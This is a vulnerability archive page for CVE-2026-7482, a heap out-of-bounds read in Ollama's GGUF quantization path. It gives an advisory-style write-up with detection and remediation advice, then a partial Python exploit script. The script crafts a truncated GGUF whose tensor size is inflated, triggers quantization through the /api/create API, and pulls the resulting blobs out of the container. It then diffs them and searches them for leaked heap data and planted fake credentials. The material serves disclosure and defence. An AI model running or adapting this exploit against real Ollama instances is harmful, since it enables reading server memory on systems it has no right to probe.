PoC Archive PoC Archive
Medium CVE-2026-7482 patched

Ollama GGUF Heap Out-of-Bounds Read During Quantization — CVE-2026-7482

by szybnev · 2026-07-05

Severity
Medium
CVE
CVE-2026-7482
Category
misc
Affected product
Ollama (GGUF model loader / quantization pipeline)
Affected versions
Ollama < 0.17.1 (reproduced against 0.17.0; fixed in 0.17.1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherszybnev
CVE / AdvisoryCVE-2026-7482
Categorymisc
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsollama, gguf, heap-overflow, out-of-bounds-read, quantization, llm-serving, docker
RelatedN/A

Affected Target

FieldValue
Software / SystemOllama (GGUF model loader / quantization pipeline)
Versions AffectedOllama < 0.17.1 (reproduced against 0.17.0; fixed in 0.17.1)
Language / PlatformPython 3 (exploit/reproduction script), targeting Ollama’s Go-based server via its HTTP API
Authentication RequiredNo (local Ollama API, no auth by default)
Network Access RequiredYes — local/lab Ollama API access; also requires local Docker access to the vulnerable container to extract generated artifacts

Summary

Ollama versions prior to 0.17.1 do not validate that a GGUF model file’s declared tensor size matches the actual bytes present in the file. By crafting a GGUF file whose tensor metadata declares a much larger shape than the data actually written, and then triggering quantization of that model via Ollama’s /api/create endpoint, the quantization code reads past the end of the truncated buffer (a heap out-of-bounds read) and incorporates the out-of-bounds bytes into the generated quantized model artifact. The author reliably reproduced the OOB condition and confirmed (via differential comparison against a zero-filled control file) that out-of-bounds bytes influence the output, but was explicitly unable to demonstrate reliable recovery of plaintext secrets or canary strings from the resulting artifact in black-box testing — the author is candid that this is a narrower result than a full data-disclosure exploit.


Vulnerability Details

Root Cause

The GGUF parser/quantization path in vulnerable Ollama versions trusts the tensor size declared in a model’s metadata (shape × element type) without checking it against the actual number of bytes available in the uploaded/loaded GGUF file. When quantization reads the declared number of bytes for a tensor that is actually truncated, it reads beyond the allocated buffer into adjacent heap memory, and those out-of-bounds bytes are carried through the quantization pipeline into the output GGUF blob.

Attack Vector

  1. Craft a malicious GGUF file with a tensor that declares a large shape (e.g., (4096, 4) in F16) but contains far fewer actual data bytes (e.g., 64 bytes) than the declared size requires.
  2. Also craft a “zero-control” GGUF file with the same declared tensor shape but fully zero-filled to the declared size, for later differential comparison.
  3. Upload the malicious GGUF as a blob to the target Ollama instance and issue an /api/create request with a quantize parameter (e.g., Q4_K_M, Q8_0), which causes the server to read the truncated tensor and perform an out-of-bounds heap read during quantization.
  4. Repeat the same create/quantize flow for the zero-control file.
  5. Use docker cp to copy both resulting quantized GGUF blobs out of the local Ollama container.
  6. Parse both quantized GGUF files’ tensor payloads and diff them byte-for-byte; differing bytes indicate the out-of-bounds heap read data influenced the malicious output (since both inputs declared identical shapes but only one was actually truncated).
  7. Optionally dequantize Q8_0 output to float32/reconstructed-F16 bytes and scan for printable strings or planted canary markers to assess whether any recoverable plaintext leaked through.

Impact

Confirmed: a heap out-of-bounds read is triggered during GGUF quantization, and out-of-bounds heap bytes measurably influence the resulting quantized model artifact (demonstrated via reproducible byte-level diffs against a zero-control baseline). Not confirmed: the author explicitly states they could not achieve reliable black-box recovery of plaintext secrets, canary strings, or other meaningful heap contents from the output artifact — the quantization pipeline’s lossy float conversion appears to prevent straightforward secret extraction in their tests, especially for lower-precision formats such as Q4_K_M.


Environment / Lab Setup

Target:   Ollama 0.17.0 running in Docker (e.g. `docker run -d --name ollama-old-test -p 11435:11434 ollama/ollama:0.17.0`)
Attacker: Python 3 with the `requests` package, plus local Docker CLI access to copy generated blobs out of the vulnerable container

Proof of Concept

PoC Script

See exp.py in this folder.

1
python3 exp.py http://localhost:11435 ollama-old-test Q4_K_M F16

The script crafts a truncated malicious GGUF and a same-shape zero-filled control GGUF, uploads and quantizes both via the target Ollama instance’s /api/create API, copies the two resulting quantized blobs out of the named Docker container, and performs a byte-level differential analysis (including entropy calculation, Q4_K block-level diffing, and Q8_0 dequantization/pseudo-F16 reconstruction) to show that out-of-bounds heap bytes reached the output. It also searches the output for a set of planted canary strings/fragments as a black-box secret-recovery test, which was not successful in the author’s own trials. Additional invocations (Q8_0 F16, Q8_0 F32) exercise different quantization/source-type combinations.


Detection & Indicators of Compromise

Not specified in source — no network-observable signature is provided; detection relies on server-side crash/anomaly monitoring or artifact inspection.

Signs of compromise:

  • Ollama server crashes, memory-sanitizer alerts, or anomalous quantization behavior when processing untrusted GGUF uploads
  • Quantized model output files whose tensor bytes diverge unexpectedly from a same-shape zero-filled control when the source GGUF was truncated
  • Unusual /api/create requests supplying externally-sourced GGUF blobs with a quantize parameter

Remediation

ActionDetail
Primary fixUpgrade to Ollama 0.17.1 or later, which validates tensor offset/size against actual file size in the GGUF decoder (see referenced fix commit)
Interim mitigationDo not load or quantize untrusted/externally-sourced GGUF model files on vulnerable Ollama versions; restrict /api/create access to trusted users only

References


Notes

Mirrored from https://github.com/szybnev/CVE-2026-7482 on 2026-07-05. The author is explicit that this PoC demonstrates a reproducible heap OOB read and OOB-influenced output artifact, but not a reliable remote black-box secret-exfiltration primitive; a related, more complete white-box-style PoC by a different researcher (0x0OZ) is referenced in the upstream README for context.

exp.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
Exploit for CVE-2026-7482 - Ollama Heap OOB Read in GGUF Model Loader
Ollama < 0.17.1 doesn't validate that tensor declared sizes match actual file data.
During quantization, the server reads past the allocated heap buffer, leaking memory.

Attack flow:
1. Craft malicious GGUF with oversized tensor declarations
2. Import into Ollama (via pull from registry or local file)
3. Trigger quantization via /api/create with quantize parameter
4. Leaked heap data is embedded in quantized output
5. Copy the generated quantized blob locally and inspect it for leaked heap data
"""

import struct
import io
import requests
import sys
import json
import hashlib
import os
import subprocess
import math

# GGUF constants
GGUF_MAGIC = b"GGUF"
GGUF_VERSION = 3

# ggml_type enum
GGML_TYPE_F32 = 0
GGML_TYPE_F16 = 1
GGML_TYPE_Q8_0 = 8
GGML_TYPE_Q4_K = 12
GGML_FILE_TYPE_MOSTLY_F16 = 1
GGML_TYPE_NAMES = {
    "F32": GGML_TYPE_F32,
    "F16": GGML_TYPE_F16,
    "Q8_0": GGML_TYPE_Q8_0,
    "Q4_K": GGML_TYPE_Q4_K,
}

Q8_0_BLOCK_SIZE = 34
Q8_0_VALUES_PER_BLOCK = 32

CANARY_MARKERS = [
    "CANARY-STROKE-CVE7482-20260507-ZM9K7Q-PURPLE-ANCHOR",
    "FAKE_OPENAI_API_KEY=sk-proj-CVE7482TEST-alpha-000111222333444555",
    "FAKE_AWS_ACCESS_KEY_ID=AKIA-CVE7482-LEAKTEST-01",
    "FAKE_AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI-K7-CVE7482-fake-secret-key-02",
    "FAKE_GITHUB_PAT=ghp_CVE7482LeakProbe777888999000abcDEF",
    "BLUE-LANTERN-HEAP-CHECKPOINT",
    "DATABASE_URL=postgresql://cve7482_user:fakepass_HEAP_TRACE_314159@db.internal.local:5432/canarydb",
    "SESSION_BEARER_TOKEN=fake.jwt.CVE7482.eyJjYW5hcnkiOiJvcmFuZ2Utc3BpbmRsZSJ9",
    "ORANGE-SPINDLE-TRACE",
]

CANARY_FRAGMENTS = [
    "CVE7482",
    "CANARY",
    "sk-proj",
    "AKIA",
    "ghp_",
    "postgresql",
    "HEAP",
]

# gguf_metadata_value_type enum
GGUF_TYPE_UINT32 = 4
GGUF_TYPE_STRING = 8
GGUF_TYPE_ARRAY = 9
GGUF_TYPE_UINT64 = 10

# Alignment
GGUF_DEFAULT_ALIGNMENT = 32


def write_gguf_string(buf, s):
    """Write a GGUF string: uint64 length + bytes (no null terminator)"""
    encoded = s.encode('utf-8')
    buf.write(struct.pack('<Q', len(encoded)))
    buf.write(encoded)


def write_gguf_kv_string(buf, key, value):
    """Write a KV pair with string key and string value"""
    write_gguf_string(buf, key)
    buf.write(struct.pack('<I', GGUF_TYPE_STRING))
    write_gguf_string(buf, value)


def write_gguf_kv_uint32(buf, key, value):
    """Write a KV pair with string key and uint32 value"""
    write_gguf_string(buf, key)
    buf.write(struct.pack('<I', GGUF_TYPE_UINT32))
    buf.write(struct.pack('<I', value))


def read_gguf_string(data, offset):
    """Read a GGUF string and return (value, next_offset)."""
    length = struct.unpack_from("<Q", data, offset)[0]
    offset += 8
    value = data[offset:offset + length].decode("utf-8", errors="replace")
    return value, offset + length


def skip_gguf_value(data, offset, value_type):
    """Skip a GGUF metadata value and return the next offset."""
    scalar_sizes = {
        0: 1,   # UINT8
        1: 1,   # INT8
        2: 2,   # UINT16
        3: 2,   # INT16
        4: 4,   # UINT32
        5: 4,   # INT32
        6: 4,   # FLOAT32
        7: 1,   # BOOL
        10: 8,  # UINT64
        11: 8,  # INT64
        12: 8,  # FLOAT64
    }

    if value_type == GGUF_TYPE_STRING:
        _, offset = read_gguf_string(data, offset)
        return offset

    if value_type == GGUF_TYPE_ARRAY:
        item_type = struct.unpack_from("<I", data, offset)[0]
        count = struct.unpack_from("<Q", data, offset + 4)[0]
        offset += 12
        for _ in range(count):
            offset = skip_gguf_value(data, offset, item_type)
        return offset

    return offset + scalar_sizes[value_type]


def write_gguf_tensor_info(buf, name, shape, kind, offset):
    """Write tensor info: name, n_dimensions, dimensions[], type, offset"""
    write_gguf_string(buf, name)
    buf.write(struct.pack('<I', len(shape)))
    for dim in shape:
        buf.write(struct.pack('<Q', dim))
    buf.write(struct.pack('<I', kind))
    buf.write(struct.pack('<Q', offset))


def tensor_size(shape, kind):
    """Calculate tensor size in bytes based on shape and element type"""
    elements = 1
    for dim in shape:
        elements *= dim
    
    type_sizes = {
        GGML_TYPE_F32: 4,
        GGML_TYPE_F16: 2,
    }
    return elements * type_sizes.get(kind, 4)


def tensor_type_name(kind):
    """Return a human-readable tensor type name."""
    for name, value in GGML_TYPE_NAMES.items():
        if value == kind:
            return name
    return f"type-{kind}"


def align_offset(offset, alignment=GGUF_DEFAULT_ALIGNMENT):
    """Calculate padding needed for alignment"""
    return (alignment - offset % alignment) % alignment


def sha256_file(path):
    """Calculate SHA256 digest for a local file."""
    digest = hashlib.sha256()
    with open(path, "rb") as f:
        for chunk in iter(lambda: f.read(1024 * 1024), b""):
            digest.update(chunk)
    return f"sha256:{digest.hexdigest()}"


def upload_blob(target_host, path):
    """Upload a local file as an Ollama blob and return its digest."""
    digest = sha256_file(path)
    blob_url = f"{target_host}/api/blobs/{digest}"

    print(f"[*] Uploading GGUF blob {digest}")
    head_response = requests.head(blob_url, timeout=30)
    if head_response.status_code == 200:
        print("[*] Blob already exists on target")
        return digest

    with open(path, "rb") as f:
        response = requests.post(blob_url, data=f, timeout=300)

    if response.status_code not in (200, 201):
        raise RuntimeError(f"blob upload failed: {response.status_code} - {response.text}")

    return digest


def craft_malicious_gguf(oversized_shape=(4096, 4), actual_data_size=64, kind=GGML_TYPE_F16):
    """
    Craft a malicious GGUF file where a tensor declares a large shape
    but the actual file data is much shorter.
    
    Before the fix (Ollama < 0.17.1), Decode() doesn't validate that
    tensor offset+size exceeds file size, allowing OOB heap read during
    quantization.
    """
    buf = io.BytesIO()
    
    # Header
    buf.write(GGUF_MAGIC)                       # Magic
    buf.write(struct.pack('<I', GGUF_VERSION))   # Version
    buf.write(struct.pack('<Q', 1))              # tensor_count = 1
    buf.write(struct.pack('<Q', 3))              # metadata_kv_count = 3
    
    # Metadata KV pairs
    # Required: general.architecture
    write_gguf_kv_string(buf, "general.architecture", "llama")
    # Required for Ollama 0.17.0 to recognize the file as a quantizable F16 model
    write_gguf_kv_uint32(buf, "general.file_type", GGML_FILE_TYPE_MOSTLY_F16)
    # Set alignment to 32
    write_gguf_kv_uint32(buf, "general.alignment", GGUF_DEFAULT_ALIGNMENT)
    
    # Tensor info for one tensor
    write_gguf_tensor_info(buf, "blk.0.attn.weight", oversized_shape, kind, 0)
    
    # Pad to alignment
    current_offset = buf.tell()
    padding = align_offset(current_offset, GGUF_DEFAULT_ALIGNMENT)
    buf.write(b'\x00' * padding)
    
    # Write truncated tensor data (much less than declared)
    # This is the key: the tensor info says it's declared_size bytes,
    # but we only write actual_data_size bytes
    buf.write(b'\x00' * actual_data_size)
    
    # The file is now truncated relative to what the tensor declares
    # On vulnerable Ollama, Decode() won't check this
    # During quantization, ReadFull or mmap will read past the buffer
    
    return buf.getvalue()


def exploit_create_quantize(target_host, model_name, gguf_path, quantize="Q4_K_M"):
    """
    Step 1: Import malicious GGUF and trigger quantization
    This causes the OOB heap read
    """
    url = f"{target_host}/api/create"
    digest = upload_blob(target_host, gguf_path)
    
    payload = {
        "model": model_name,
        "files": {
            os.path.basename(gguf_path): digest,
        },
        "quantize": quantize,
        "stream": False,
    }
    
    print(f"[*] Sending create request with quantization to {url}")
    print(f"[*] Model: {model_name}, GGUF: {gguf_path}, Quantize: {quantize}")
    
    response = requests.post(url, json=payload, timeout=300)
    
    if response.status_code == 200:
        print("[+] Model created successfully")
        for line in response.text.strip().split('\n'):
            if line:
                try:
                    data = json.loads(line)
                    if data.get('status'):
                        print(f"    Status: {data['status']}")
                except json.JSONDecodeError:
                    pass
        return True
    else:
        print(f"[-] Failed: {response.status_code} - {response.text}")
        return False


def show_model(target_host, model_name):
    """Return Ollama metadata for a created model."""
    response = requests.post(
        f"{target_host}/api/show",
        json={"model": model_name},
        timeout=30,
    )
    response.raise_for_status()
    return response.json()


def model_blob_path(model_info):
    """Extract the local blob path from Ollama's generated Modelfile."""
    for line in model_info.get("modelfile", "").splitlines():
        if line.startswith("FROM /"):
            return line.removeprefix("FROM ").strip()
    return None


def copy_blob_from_container(container_name, blob_path, output_path):
    """Copy a model blob from a local Docker container."""
    subprocess.run(
        ["docker", "cp", f"{container_name}:{blob_path}", output_path],
        check=True,
    )


def delete_model(target_host, model_name):
    """Delete an Ollama model if it exists."""
    requests.delete(f"{target_host}/api/delete", json={"model": model_name}, timeout=30)


def create_quantized_blob(target_host, container_name, model_name, gguf_path, output_path, quantize):
    """Create a quantized model and copy its generated GGUF blob locally."""
    if not exploit_create_quantize(target_host, model_name, gguf_path, quantize=quantize):
        raise RuntimeError(f"failed to create quantized model {model_name}")

    model_info = show_model(target_host, model_name)
    blob_path = model_blob_path(model_info)
    if not blob_path:
        raise RuntimeError(f"could not find generated blob path for {model_name}")

    print(f"[*] Quantized blob path for {model_name}: {blob_path}")
    print(f"[*] Copying from container {container_name} to {output_path}")
    copy_blob_from_container(container_name, blob_path, output_path)
    return blob_path


def extract_leaked_data(gguf_data):
    """
    Step 3: Extract leaked heap data from the quantized model
    The leaked data will be in tensor data that contains heap contents
    instead of expected quantized weights
    """
    # Parse the GGUF to find tensor data
    # Look for patterns that suggest leaked memory:
    # - ASCII strings (env vars, API keys)
    # - Structured data (JSON, tokens)
    # - Repeated null bytes followed by non-null data
    
    leaked = []
    
    # Simple heuristic: extract printable ASCII sequences >= 8 chars
    current_str = ""
    for i in range(len(gguf_data)):
        byte = gguf_data[i]
        if 32 <= byte <= 126:  # printable ASCII
            current_str += chr(byte)
        else:
            if len(current_str) >= 8:
                leaked.append(current_str)
            current_str = ""
    
    if len(current_str) >= 8:
        leaked.append(current_str)
    
    return leaked


def byte_entropy(data):
    """Calculate Shannon entropy for a byte string."""
    if not data:
        return 0.0

    counts = [0] * 256
    for byte in data:
        counts[byte] += 1

    entropy = 0.0
    for count in counts:
        if count:
            probability = count / len(data)
            entropy -= probability * math.log2(probability)
    return entropy


def diff_runs(left, right):
    """Return byte ranges that differ between two equal-length byte strings."""
    if len(left) != len(right):
        raise ValueError("cannot diff byte strings with different lengths")

    runs = []
    start = None
    for index, (left_byte, right_byte) in enumerate(zip(left, right)):
        if left_byte != right_byte and start is None:
            start = index
        elif left_byte == right_byte and start is not None:
            runs.append((start, index))
            start = None

    if start is not None:
        runs.append((start, len(left)))

    return runs


def hexdump(data, base_offset=0, width=16):
    """Return a compact hex/ascii dump."""
    lines = []
    for row_start in range(0, len(data), width):
        chunk = data[row_start:row_start + width]
        hex_part = " ".join(f"{byte:02x}" for byte in chunk)
        ascii_part = "".join(chr(byte) if 32 <= byte <= 126 else "." for byte in chunk)
        lines.append(f"{base_offset + row_start:08x}  {hex_part:<{width * 3}} {ascii_part}")
    return "\n".join(lines)


def float_to_f16_bytes(value):
    """Convert a Python float to IEEE 754 binary16 bytes with inf fallback."""
    try:
        return struct.pack("<e", value)
    except OverflowError:
        return struct.pack("<H", 0xFC00 if value < 0 else 0x7C00)


def float_to_f32_bytes(value):
    """Convert a Python float to IEEE 754 binary32 bytes with inf fallback."""
    try:
        return struct.pack("<f", value)
    except OverflowError:
        return struct.pack("<f", math.copysign(math.inf, value))


def f16_bytes_to_float(raw):
    """Convert two IEEE 754 binary16 bytes to a Python float."""
    return struct.unpack("<e", raw)[0]


def dequantize_q8_0_payload(payload):
    """Dequantize GGML Q8_0 payload into float values."""
    if len(payload) % Q8_0_BLOCK_SIZE != 0:
        raise ValueError(
            f"Q8_0 payload length {len(payload)} is not divisible by {Q8_0_BLOCK_SIZE}"
        )

    values = []
    for offset in range(0, len(payload), Q8_0_BLOCK_SIZE):
        block = payload[offset:offset + Q8_0_BLOCK_SIZE]
        scale = f16_bytes_to_float(block[:2])
        quants = struct.unpack("<32b", block[2:])
        values.extend(scale * quant for quant in quants)
    return values


def floats_to_f32_bytes(values):
    """Pack float values as little-endian float32 bytes."""
    return b"".join(float_to_f32_bytes(value) for value in values)


def floats_to_pseudo_f16_bytes(values):
    """Pack dequantized float values back to little-endian F16 bytes."""
    return b"".join(float_to_f16_bytes(value) for value in values)


def search_bytes(buffer, needle, case_sensitive=True):
    """Return all offsets of needle inside buffer."""
    if not case_sensitive:
        buffer = buffer.lower()
        needle = needle.lower()

    offsets = []
    start = 0
    while True:
        index = buffer.find(needle, start)
        if index == -1:
            return offsets
        offsets.append(index)
        start = index + 1


def search_markers(buffers, markers=CANARY_MARKERS, fragments=CANARY_FRAGMENTS):
    """Search exact markers and common fragments across named byte buffers."""
    exact_hits = []
    fragment_hits = []

    for buffer_name, data in buffers.items():
        for marker in markers:
            offsets = search_bytes(data, marker.encode("utf-8"))
            if offsets:
                exact_hits.append((buffer_name, marker, offsets))

        for fragment in fragments:
            offsets = search_bytes(data, fragment.encode("utf-8"), case_sensitive=False)
            if offsets:
                fragment_hits.append((buffer_name, fragment, offsets))

    return exact_hits, fragment_hits


def write_printable_strings(path, data):
    """Write printable strings extracted from data to a text artifact."""
    strings = extract_leaked_data(data)
    with open(path, "w", encoding="utf-8") as f:
        for value in strings:
            f.write(value + "\n")
    return strings
Showing 500 of 810 lines View full file on GitHub →